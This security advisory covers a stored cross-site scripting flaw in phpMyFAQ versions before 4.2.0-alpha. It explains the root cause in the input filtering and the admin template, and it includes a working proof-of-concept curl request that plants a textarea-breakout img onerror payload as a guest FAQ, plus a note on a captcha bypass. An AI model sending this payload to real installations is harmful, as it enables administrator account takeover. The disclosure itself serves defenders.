| Package | Affected versions | Patched versions |
|---|---|---|
| phpmyfaq/phpmyfaq | < 4.2.0-alpha | 4.2.0-alpha |
| thorsten/phpmyfaq | < 4.2.0-alpha | 4.2.0-alpha |
A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.
Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)
$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
$answer = trim(html_entity_decode((string) $answer));
}
Root cause:
Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., <script>).
When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.
Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>
The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:
$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB
Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
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Scan my site freePrerequisites:
main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)Step 1: Inject XSS payload as unauthenticated guest
curl -X POST https://TARGET/api/faq/create \
-H 'Content-Type: application/json' \
-d '{
"name": "Legitimate User",
"email": "[email protected]",
"question": "How to configure SMTP settings?",
"answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>",
"lang": "en",
"keywords": "smtp email",
"rubrik": ["1"],
"captcha": "<valid-captcha-or-empty-if-disabled>"
}'
Response: {"success":"Thank you for your suggestion!"}
Processing trace:
</textarea><img src=x onerror=alert(document.domain)><textarea>filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchangedhtml_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>Step 2: Admin triggers XSS by reviewing the submitted FAQ
When an administrator navigates to edit the submitted FAQ entry:
GET /admin/faq/edit/{faqId}/{lang}
The admin template renders:
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>
The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.
Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).
records.allowNewFaqsForGuests = true)